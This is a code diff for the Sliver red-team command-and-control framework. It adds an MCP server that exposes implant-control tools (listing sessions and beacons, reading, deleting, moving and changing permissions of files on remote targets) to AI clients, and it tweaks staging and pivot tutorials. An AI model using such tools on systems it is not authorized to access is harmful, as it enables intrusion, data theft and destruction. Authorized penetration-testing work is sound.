+}
+
+// WithDefaults fills any empty fields with defaults.
+func (c Config) WithDefaults() Config {
+	defaults := DefaultConfig()
+	if c.Transport == "" {
+		c.Transport = defaults.Transport
+	}
+	if c.ListenAddress == "" {
+		c.ListenAddress = defaults.ListenAddress
+	}
+	if c.ServerName == "" {
+		c.ServerName = defaults.ServerName
+	}
+	if c.ServerVersion == "" {
+		c.ServerVersion = defaults.ServerVersion
+	}
+	return c
+}
+
+// ParseTransport validates an input transport string.
+func ParseTransport(raw string) (Transport, error) {
+	value := strings.ToLower(strings.TrimSpace(raw))
+	if value == "" {
+		return DefaultConfig().Transport, nil
+	}
+	switch Transport(value) {
+	case TransportHTTP, TransportSSE:
+		return Transport(value), nil
+	default:
+		return "", fmt.Errorf("unsupported transport %q", raw)
+	}
+}
+
+// Validate ensures the configuration can be used for a server start.
+func (c Config) Validate() error {
+	if c.Transport != TransportHTTP && c.Transport != TransportSSE {
+		return fmt.Errorf("unsupported transport %q", c.Transport)
+	}
+	if c.ListenAddress == "" {
+		return fmt.Errorf("listen address is required")
+	}
+	if _, _, err := net.SplitHostPort(c.ListenAddress); err != nil {
+		return fmt.Errorf("invalid listen address %q: %w", c.ListenAddress, err)
+	}
+	if c.ServerName == "" {
+		return fmt.Errorf("server name is required")
+	}
+	if c.ServerVersion == "" {
+		return fmt.Errorf("server version is required")
+	}
+	return nil
+}
+
+// EndpointURL returns the base URL for clients to connect.
+func (c Config) EndpointURL() (string, error) {
+	cfg := c.WithDefaults()
+	if err := cfg.Validate(); err != nil {
+		return "", err
+	}
+
+	host, port, err := net.SplitHostPort(cfg.ListenAddress)
+	if err != nil {
+		return "", err
+	}
+	if host == "" {
+		host = "127.0.0.1"
+	}
+
+	endpoint := url.URL{
+		Scheme: "http",
+		Host:   net.JoinHostPort(host, port),
+	}
+	switch cfg.Transport {
+	case TransportHTTP:
+		endpoint.Path = "/mcp"
+	case TransportSSE:
+		endpoint.Path = "/sse"
+	default:
+		return "", fmt.Errorf("unsupported transport %q", cfg.Transport)
+	}
+	return endpoint.String(), nil
+}

client/mcp/log.go

@@ -0,0 +1,67 @@
+package mcp
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/assets"
+)
+
+const mcpLogTimeFormat = "2006-01-02_15-04-05"
+
+func newMCPLogger() (*log.Logger, *os.File, error) {
+	logsDir := assets.GetMCPLogsDir()
+	logPath := filepath.Join(logsDir, fmt.Sprintf("%s.log", time.Now().Format(mcpLogTimeFormat)))
+	logFile, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
+	if err != nil {
+		return nil, nil, err
+	}
+	logger := log.New(logFile, "", log.LstdFlags|log.Lshortfile)
+	return logger, logFile, nil
+}
+
+func (m *mcpManager) logf(format string, args ...any) {
+	if m == nil {
+		return
+	}
+	m.mu.Lock()
+	logger := m.logger
+	m.mu.Unlock()
+	if logger != nil {
+		logger.Printf(format, args...)
+	}
+}
+
+func (s *SliverMCPServer) logf(format string, args ...any) {
+	if s == nil || s.logger == nil {
+		return
+	}
+	s.logger.Printf(format, args...)
+}
+
+func (s *SliverMCPServer) logToolCall(tool, sessionID, beaconID string, extras ...string) {
+	if s == nil || s.logger == nil {
+		return
+	}
+	parts := make([]string, 0, 2+len(extras))
+	if sessionID != "" {
+		parts = append(parts, fmt.Sprintf("session_id=%s", sessionID))
+	}
+	if beaconID != "" {
+		parts = append(parts, fmt.Sprintf("beacon_id=%s", beaconID))
+	}
+	for _, extra := range extras {
+		if extra != "" {
+			parts = append(parts, extra)
+		}
+	}
+	if len(parts) == 0 {
+		s.logger.Printf("mcp tool=%s", tool)
+		return
+	}
+	s.logger.Printf("mcp tool=%s %s", tool, strings.Join(parts, " "))
+}

client/mcp/mcp.go

@@ -0,0 +1,200 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"log"
+	"net/http"
+	"os"
+	"sync"
+	"time"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	mcpserver "github.com/mark3labs/mcp-go/server"
+)
+
+var (
+	ErrAlreadyRunning = errors.New("mcp server already running")
+	ErrNotRunning     = errors.New("mcp server not running")
+)
+
+// Status describes the running state of the MCP server.
+type Status struct {
+	Running   bool
+	StartedAt time.Time
+	Config    Config
+	LastError string
+}
+
+type serverTransport interface {
+	Start(addr string) error
+	Shutdown(ctx context.Context) error
+}
+
+type mcpManager struct {
+	mu        sync.Mutex
+	cfg       Config
+	running   bool
+	startedAt time.Time
+	lastErr   string
+	server    *SliverMCPServer
+	transport serverTransport
+	done      chan struct{}
+	logger    *log.Logger
+	logFile   *os.File
+}
+
+func newManager() *mcpManager {
+	return &mcpManager{
+		cfg: DefaultConfig(),
+	}
+}
+
+var defaultManager = newManager()
+
+// GetStatus returns the current MCP server state.
+func GetStatus() Status {
+	return defaultManager.status()
+}
+
+// Start launches the MCP server using the provided configuration.
+func Start(cfg Config, rpc rpcpb.SliverRPCClient) error {
+	return defaultManager.start(cfg, rpc)
+}
+
+// ServeStdio runs the MCP server over stdio using the provided configuration.
+func ServeStdio(cfg Config, rpc rpcpb.SliverRPCClient) error {
+	cfg = cfg.WithDefaults()
+	if err := cfg.Validate(); err != nil {
+		return err
+	}
+	logger, logFile, err := newMCPLogger()
+	if err != nil {
+		return err
+	}
+	defer logFile.Close()
+	logger.Printf("starting mcp stdio server")
+	srv := newServer(cfg, rpc, logger)
+	err = mcpserver.ServeStdio(srv.server)
+	if err != nil {
+		logger.Printf("mcp stdio server error: %v", err)
+	} else {
+		logger.Printf("mcp stdio server stopped")
+	}
+	return err
+}
+
+// Stop shuts down the MCP server.
+func Stop(ctx context.Context) error {
+	return defaultManager.stop(ctx)
+}
+
+func (m *mcpManager) status() Status {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	return Status{
+		Running:   m.running,
+		StartedAt: m.startedAt,
+		Config:    m.cfg,
+		LastError: m.lastErr,
+	}
+}
+
+func (m *mcpManager) start(cfg Config, rpc rpcpb.SliverRPCClient) error {
+	cfg = cfg.WithDefaults()
+	if err := cfg.Validate(); err != nil {
+		return err
+	}
+
+	m.mu.Lock()
+	if m.running {
+		m.mu.Unlock()
+		return ErrAlreadyRunning
+	}
+	logger, logFile, err := newMCPLogger()
+	if err != nil {
+		m.mu.Unlock()
+		return err
+	}
+	mcpServer := newServer(cfg, rpc, logger)
+	var transport serverTransport
+	switch cfg.Transport {
+	case TransportHTTP:
+		transport = mcpserver.NewStreamableHTTPServer(mcpServer.server)
+	case TransportSSE:
+		transport = mcpserver.NewSSEServer(mcpServer.server)
+	default:
+		m.mu.Unlock()
+		logFile.Close()
+		return errors.New("unsupported transport")
+	}
+
+	m.cfg = cfg
+	m.running = true
+	m.startedAt = time.Now()
+	m.lastErr = ""
+	m.server = mcpServer
+	m.transport = transport
+	m.done = make(chan struct{})
+	m.logger = logger
+	m.logFile = logFile
+	addr := cfg.ListenAddress
+	done := m.done
+	m.mu.Unlock()
+
+	logger.Printf("starting mcp server transport=%s listen=%s", cfg.Transport, cfg.ListenAddress)
+	go m.run(addr, transport, done)
+	return nil
+}
+
+func (m *mcpManager) run(addr string, transport serverTransport, done chan struct{}) {
+	err := transport.Start(addr)
+	if err != nil && !errors.Is(err, http.ErrServerClosed) {
+		m.logf("mcp server error: %v", err)
+		m.mu.Lock()
+		m.lastErr = err.Error()
+		m.mu.Unlock()
+	}
+	m.logf("mcp server stopped")
+
+	m.mu.Lock()
+	m.running = false
+	m.transport = nil
+	m.server = nil
+	logFile := m.logFile
+	m.logFile = nil
+	m.logger = nil
+	m.mu.Unlock()
+	if logFile != nil {
+		logFile.Close()
+	}
+	close(done)
+}
+
+func (m *mcpManager) stop(ctx context.Context) error {
+	m.mu.Lock()
+	if !m.running {
+		m.mu.Unlock()
+		return ErrNotRunning
+	}
+	transport := m.transport
+	done := m.done
+	m.mu.Unlock()
+
+	if transport == nil {
+		return ErrNotRunning
+	}
+	m.logf("mcp server shutdown requested")
+	if err := transport.Shutdown(ctx); err != nil {
+		return err
+	}
+	if done == nil {
+		return nil
+	}
+	select {
+	case <-done:
+		return nil
+	case <-ctx.Done():
+		return ctx.Err()
+	}
+}

client/mcp/server.go

@@ -0,0 +1,247 @@
+package mcp
+
+import (
+	"context"
+	"log"
+
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	mcpapi "github.com/mark3labs/mcp-go/mcp"
+	mcpserver "github.com/mark3labs/mcp-go/server"
+)
+
+const (
+	listSessionsAndBeaconsToolName = "list_sessions_and_beacons"
+)
+
+type sessionSummary struct {
+	ID            string `json:"id"`
+	Name          string `json:"name"`
+	Transport     string `json:"transport"`
+	RemoteAddress string `json:"remote_address"`
+	Hostname      string `json:"hostname"`
+	Username      string `json:"username"`
+	PID           int32  `json:"pid"`
+	OS            string `json:"os"`
+	Arch          string `json:"arch"`
+	Locale        string `json:"locale"`
+	LastCheckin   int64  `json:"last_checkin"`
+	IsDead        bool   `json:"is_dead"`
+	Integrity     string `json:"integrity"`
+}
+
+type beaconSummary struct {
+	ID                  string `json:"id"`
+	Name                string `json:"name"`
+	Transport           string `json:"transport"`
+	RemoteAddress       string `json:"remote_address"`
+	Hostname            string `json:"hostname"`
+	Username            string `json:"username"`
+	PID                 int32  `json:"pid"`
+	OS                  string `json:"os"`
+	Arch                string `json:"arch"`
+	Locale              string `json:"locale"`
+	LastCheckin         int64  `json:"last_checkin"`
+	NextCheckin         int64  `json:"next_checkin"`
+	Interval            int64  `json:"interval"`
+	Jitter              int64  `json:"jitter"`
+	TasksCount          int64  `json:"tasks_count"`
+	TasksCountCompleted int64  `json:"tasks_count_completed"`
+	IsDead              bool   `json:"is_dead"`
+	Integrity           string `json:"integrity"`
+}
+
+type listSessionsAndBeaconsResult struct {
+	Sessions      []sessionSummary `json:"sessions"`
+	SessionsCount int              `json:"sessions_count"`
+	Beacons       []beaconSummary  `json:"beacons"`
+	BeaconsCount  int              `json:"beacons_count"`
+}
+
+// SliverMCPServer wraps the MCP server with Sliver RPC access for handlers.
+type SliverMCPServer struct {
+	Rpc    rpcpb.SliverRPCClient
+	server *mcpserver.MCPServer
+	logger *log.Logger
+}
+
+func newServer(cfg Config, rpc rpcpb.SliverRPCClient, logger *log.Logger) *SliverMCPServer {
+	base := mcpserver.NewMCPServer(
+		cfg.ServerName,
+		cfg.ServerVersion,
+		mcpserver.WithToolCapabilities(false),
+	)
+
+	listSessionsAndBeaconsTool := mcpapi.NewTool(
+		listSessionsAndBeaconsToolName,
+		mcpapi.WithDescription("List active sessions and beacons."),
+		mcpapi.WithReadOnlyHintAnnotation(true),
+		mcpapi.WithDestructiveHintAnnotation(false),
+		mcpapi.WithIdempotentHintAnnotation(true),
+	)
+	lsTool := mcpapi.NewTool(
+		lsToolName,
+		mcpapi.WithDescription("List the contents of a remote directory."),
+		mcpapi.WithInputSchema[lsArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(true),
+		mcpapi.WithDestructiveHintAnnotation(false),
+		mcpapi.WithIdempotentHintAnnotation(true),
+	)
+	cdTool := mcpapi.NewTool(
+		cdToolName,
+		mcpapi.WithDescription("Change the current directory on a remote session or beacon."),
+		mcpapi.WithInputSchema[cdArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(false),
+	)
+	catTool := mcpapi.NewTool(
+		catToolName,
+		mcpapi.WithDescription("Download and return the contents of a remote file."),
+		mcpapi.WithInputSchema[catArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(true),
+		mcpapi.WithDestructiveHintAnnotation(false),
+		mcpapi.WithIdempotentHintAnnotation(true),
+	)
+	pwdTool := mcpapi.NewTool(
+		pwdToolName,
+		mcpapi.WithDescription("Return the current working directory of a remote session or beacon."),
+		mcpapi.WithInputSchema[pwdArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(true),
+		mcpapi.WithDestructiveHintAnnotation(false),
+		mcpapi.WithIdempotentHintAnnotation(true),
+	)
+	rmTool := mcpapi.NewTool(
+		rmToolName,
+		mcpapi.WithDescription("Remove a file or directory on the remote target."),
+		mcpapi.WithInputSchema[rmArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(true),
+	)
+	mvTool := mcpapi.NewTool(
+		mvToolName,
+		mcpapi.WithDescription("Move or rename a file or directory on the remote target."),
+		mcpapi.WithInputSchema[mvArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(true),
+	)
+	cpTool := mcpapi.NewTool(
+		cpToolName,
+		mcpapi.WithDescription("Copy a file on the remote target."),
+		mcpapi.WithInputSchema[cpArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(true),
+	)
+	mkdirTool := mcpapi.NewTool(
+		mkdirToolName,
+		mcpapi.WithDescription("Create a directory on the remote target."),
+		mcpapi.WithInputSchema[mkdirArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(true),
+	)
+	chmodTool := mcpapi.NewTool(
+		chmodToolName,
+		mcpapi.WithDescription("Change file or directory permissions on the remote target."),
+		mcpapi.WithInputSchema[chmodArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(true),
+	)
+	chownTool := mcpapi.NewTool(
+		chownToolName,
+		mcpapi.WithDescription("Change file or directory ownership on the remote target."),
+		mcpapi.WithInputSchema[chownArgs](),
+		mcpapi.WithReadOnlyHintAnnotation(false),
+		mcpapi.WithDestructiveHintAnnotation(true),
+	)
+	srv := &SliverMCPServer{
+		Rpc:    rpc,
+		server: base,
+		logger: logger,
+	}
+	srv.server.AddTool(listSessionsAndBeaconsTool, srv.listSessionsAndBeaconsHandler)
+	srv.server.AddTool(lsTool, srv.lsHandler)
+	srv.server.AddTool(cdTool, srv.cdHandler)
+	srv.server.AddTool(catTool, srv.catHandler)
+	srv.server.AddTool(pwdTool, srv.pwdHandler)
+	srv.server.AddTool(rmTool, srv.rmHandler)
+	srv.server.AddTool(mvTool, srv.mvHandler)
+	srv.server.AddTool(cpTool, srv.cpHandler)
+	srv.server.AddTool(mkdirTool, srv.mkdirHandler)
+	srv.server.AddTool(chmodTool, srv.chmodHandler)
+	srv.server.AddTool(chownTool, srv.chownHandler)
+	return srv
+}
+
+func (s *SliverMCPServer) listSessionsAndBeaconsHandler(ctx context.Context, _ mcpapi.CallToolRequest) (*mcpapi.CallToolResult, error) {
+	if s.Rpc == nil {
+		return mcpapi.NewToolResultError("rpc client not configured"), nil
+	}
+
+	s.logToolCall(listSessionsAndBeaconsToolName, "", "")
+
+	sessionsResp, err := s.Rpc.GetSessions(ctx, &commonpb.Empty{})
+	if err != nil {
+		return mcpapi.NewToolResultErrorFromErr("failed to list sessions", err), nil
+	}
+
+	beaconsResp, err := s.Rpc.GetBeacons(ctx, &commonpb.Empty{})
+	if err != nil {
+		return mcpapi.NewToolResultErrorFromErr("failed to list beacons", err), nil
+	}
+
+	result := listSessionsAndBeaconsResult{
+		Sessions: make([]sessionSummary, 0, len(sessionsResp.GetSessions())),
+		Beacons:  make([]beaconSummary, 0, len(beaconsResp.GetBeacons())),
+	}
+
+	for _, session := range sessionsResp.GetSessions() {
+		if session == nil {
+			continue
+		}
+		result.Sessions = append(result.Sessions, sessionSummary{
+			ID:            session.ID,
+			Name:          session.Name,
+			Transport:     session.Transport,
+			RemoteAddress: session.RemoteAddress,
+			Hostname:      session.Hostname,
+			Username:      session.Username,
+			PID:           session.PID,
+			OS:            session.OS,
+			Arch:          session.Arch,
+			Locale:        session.Locale,
+			LastCheckin:   session.LastCheckin,
+			IsDead:        session.IsDead,
+			Integrity:     session.Integrity,
+		})
+	}
+
+	for _, beacon := range beaconsResp.GetBeacons() {
+		if beacon == nil {
+			continue
+		}
+		result.Beacons = append(result.Beacons, beaconSummary{
+			ID:                  beacon.ID,
+			Name:                beacon.Name,
+			Transport:           beacon.Transport,
+			RemoteAddress:       beacon.RemoteAddress,
+			Hostname:            beacon.Hostname,
+			Username:            beacon.Username,
+			PID:                 beacon.PID,
+			OS:                  beacon.OS,
+			Arch:                beacon.Arch,
+			Locale:              beacon.Locale,
+			LastCheckin:         beacon.LastCheckin,
+			NextCheckin:         beacon.NextCheckin,
+			Interval:            beacon.Interval,
+			Jitter:              beacon.Jitter,
+			TasksCount:          beacon.TasksCount,
+			TasksCountCompleted: beacon.TasksCountCompleted,
+			IsDead:              beacon.IsDead,
+			Integrity:           beacon.Integrity,
+		})
+	}
+
+	result.SessionsCount = len(result.Sessions)
+	result.BeaconsCount = len(result.Beacons)
+
+	return mcpapi.NewToolResultStructuredOnly(result), nil
+}

docs/sliver-docs/pages/tutorials/md/2 - Beacons vs Sessions.md

@@ -1,5 +1,3 @@
-# This course is intended for the 1.6 version of Sliver, which is not yet published
-
 Sliver implants support two types of connections, sessions and beacons.
 
 Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.

docs/sliver-docs/pages/tutorials/md/3 - C2 Profiles and configuration.md

@@ -1,5 +1,3 @@
-# This course is intended for the 1.6 version of Sliver, which is not yet published
-
 When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
 
 For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.

docs/sliver-docs/pages/tutorials/md/4 - HTTP Payload staging.md

@@ -1,5 +1,3 @@
-# This course is intended for the 1.6 version of Sliver, which is not yet published
-
 When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command.
 
 For this exercise, we will create a new beacon profile and prepare to stage it.

docs/sliver-docs/pages/tutorials/md/5 - Pivots.md

@@ -1,5 +1,3 @@
-# This course is intended for the 1.6 version of Sliver, which is not yet published
-
 Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.
 
 Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.

docs/sliver-docs/pages/tutorials/md/6 - Scripting.md

@@ -1,5 +1,3 @@
-# This course is intended for the 1.6 version of Sliver, which is not yet published
-
 Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.
 
 ```bash

docs/sliver-docs/pages/tutorials/md/7 - Assemblies and Bofs.md

@@ -1,5 +1,3 @@
-# This course is intended for the 1.6 version of Sliver, which is not yet published
-
 The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date. 
 
 You can download all configured extensions/aliases using the armory command.

go-tests.sh

@@ -154,6 +154,14 @@ else
     exit 1
 fi
 
+# server / gogo / goname
+if go test -tags=server,$TAGS ./server/gogo/goname ; then
+    :
+else
+    cat ~/.sliver/logs/sliver.log
+    exit 1
+fi
+
 # server / gogo
 if go test -tags=server,$TAGS ./server/gogo ; then
     :

go.mod

@@ -1,14 +1,16 @@
 module github.com/bishopfox/sliver
 
-go 1.25.3
+go 1.25.5
 
 replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
 
+replace github.com/reeflective/readline => github.com/moloch--/readline v0.0.0-20260104185423-d3ac1d6c561d
+
 require (
-	filippo.io/age v1.2.1
+	filippo.io/age v1.3.1
 	github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
 	github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
-	github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
+	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
 	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/alecthomas/chroma v0.10.0
@@ -25,47 +27,60 @@ require (
 	github.com/google/uuid v1.6.0
 	github.com/gorilla/mux v1.8.1
 	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
-	github.com/jedib0t/go-pretty/v6 v6.6.8
+	github.com/jedib0t/go-pretty/v6 v6.7.8
 	github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
-	github.com/klauspost/compress v1.18.0
+	github.com/klauspost/compress v1.18.1
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
 	github.com/mattn/go-sqlite3 v1.14.32
-	github.com/miekg/dns v1.1.68
+	github.com/miekg/dns v1.1.70
 	github.com/moloch--/asciicast v0.1.1
 	github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
 	github.com/moloch--/sgn v0.0.4
-	github.com/ncruces/go-sqlite3 v0.29.1
+	github.com/ncruces/go-sqlite3 v0.30.4
 	github.com/reeflective/console v0.1.25
 	github.com/reeflective/readline v1.1.3
 	github.com/rsteube/carapace v0.50.2
 	github.com/sirupsen/logrus v1.9.3
-	github.com/spf13/cobra v1.10.1
+	github.com/spf13/cobra v1.10.2
 	github.com/spf13/pflag v1.0.10
 	github.com/stretchr/testify v1.11.1
-	github.com/tetratelabs/wazero v1.9.0
+	github.com/tetratelabs/wazero v1.11.0
 	github.com/things-go/go-socks5 v0.1.0
 	github.com/ulikunitz/xz v0.5.15
 	github.com/xlab/treeprint v1.2.0
 	github.com/yiya1989/sshkrb5 v0.0.1
 	golang.org/x/crypto v0.46.0
 	golang.org/x/exp v0.0.0-20251002181428-27f1f14c8bb9
-	golang.org/x/mod v0.30.0
-	golang.org/x/net v0.47.0
-	golang.org/x/sys v0.39.0
+	golang.org/x/mod v0.31.0
+	golang.org/x/net v0.48.0
+	golang.org/x/sys v0.40.0
 	golang.org/x/term v0.38.0
 	golang.org/x/text v0.32.0
 	golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10
 	google.golang.org/grpc v1.76.0
-	google.golang.org/protobuf v1.36.10
+	google.golang.org/protobuf v1.36.11
 	gorm.io/driver/mysql v1.6.0
 	gorm.io/driver/postgres v1.6.0
 	gorm.io/driver/sqlite v1.6.0
 	gorm.io/gorm v1.31.0
 	gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c
 	modernc.org/sqlite v1.39.0
-	tailscale.com v1.90.6
+	tailscale.com v1.92.5
+)
+
+require (
+	filippo.io/hpke v0.4.0 // indirect
+	github.com/bahlo/generic-list-go v0.2.0 // indirect
+	github.com/buger/jsonparser v1.1.1 // indirect
+	github.com/creachadair/msync v0.7.1 // indirect
+	github.com/invopop/jsonschema v0.13.0 // indirect
+	github.com/mailru/easyjson v0.7.7 // indirect
+	github.com/pires/go-proxyproto v0.8.1 // indirect
+	github.com/spf13/cast v1.7.1 // indirect
+	github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect
+	github.com/yosida95/uritemplate/v3 v3.0.2 // indirect
 )
 
 require (
@@ -130,9 +145,10 @@ require (
 	github.com/jinzhu/inflection v1.0.0 // indirect
 	github.com/jinzhu/now v1.1.5 // indirect
 	github.com/jsimonetti/rtnetlink v1.4.2 // indirect
-	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
+	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
 	github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/mark3labs/mcp-go v0.43.2
 	github.com/mattn/go-colorable v0.1.14 // indirect
 	github.com/mattn/go-isatty v0.0.20 // indirect
 	github.com/mattn/go-localereader v0.0.1 // indirect
@@ -169,7 +185,7 @@ require (
 	golang.org/x/oauth2 v0.30.0 // indirect
 	golang.org/x/sync v0.19.0 // indirect
 	golang.org/x/time v0.13.0 // indirect
-	golang.org/x/tools v0.39.0 // indirect
+	golang.org/x/tools v0.40.0 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
 	golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
 	google.golang.org/genproto/googleapis/rpc v0.0.0-20251014184007-4626949a642f // indirect

go.sum

@@ -1,14 +1,16 @@
 9fans.net/go v0.0.8-0.20250307142834-96bdba94b63f h1:1C7nZuxUMNz7eiQALRfiqNOm04+m3edWlRff/BYHf0Q=
 9fans.net/go v0.0.8-0.20250307142834-96bdba94b63f/go.mod h1:hHyrZRryGqVdqrknjq5OWDLGCTJ2NeEvtrpR96mjraM=
-c2sp.org/CCTV/age v0.0.0-20240306222714-3ec4d716e805 h1:u2qwJeEvnypw+OCPUHmoZE3IqwfuN5kgDfo5MLzpNM0=
-c2sp.org/CCTV/age v0.0.0-20240306222714-3ec4d716e805/go.mod h1:FomMrUJ2Lxt5jCLmZkG3FHa72zUprnhd3v/Z18Snm4w=
+c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAwLGRZ+sebTUruuM4Ra3M=
+c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd/go.mod h1:SrHC2C7r5GkDk8R+NFVzYy/sdj0Ypg9htaPXQq5Cqeo=
 cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
 cloud.google.com/go/compute/metadata v0.7.0 h1:PBWF+iiAerVNe8UCHxdOt6eHLVc3ydFeOCw78U8ytSU=
 cloud.google.com/go/compute/metadata v0.7.0/go.mod h1:j5MvL9PprKL39t166CoB1uVHfQMs4tFQZZcKwksXUjo=
-filippo.io/age v1.2.1 h1:X0TZjehAZylOIj4DubWYU1vWQxv9bJpo+Uu2/LGhi1o=
-filippo.io/age v1.2.1/go.mod h1:JL9ew2lTN+Pyft4RiNGguFfOpewKwSHm5ayKD/A4004=
+filippo.io/age v1.3.1 h1:hbzdQOJkuaMEpRCLSN1/C5DX74RPcNCk6oqhKMXmZi0=
+filippo.io/age v1.3.1/go.mod h1:EZorDTYUxt836i3zdori5IJX/v2Lj6kWFU0cfh6C0D4=
 filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
 filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
+filippo.io/hpke v0.4.0 h1:p575VVQ6ted4pL+it6M00V/f2qTZITO0zgmdKCkd5+A=
+filippo.io/hpke v0.4.0/go.mod h1:EmAN849/P3qdeK+PCMkDpDm83vRHM5cDipBJ8xbQLVY=
 filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
 filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
 github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
@@ -17,8 +19,8 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
 github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
 github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
-github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk=
-github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
+github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
+github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
 github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,7 +86,11 @@ github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiE
 github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
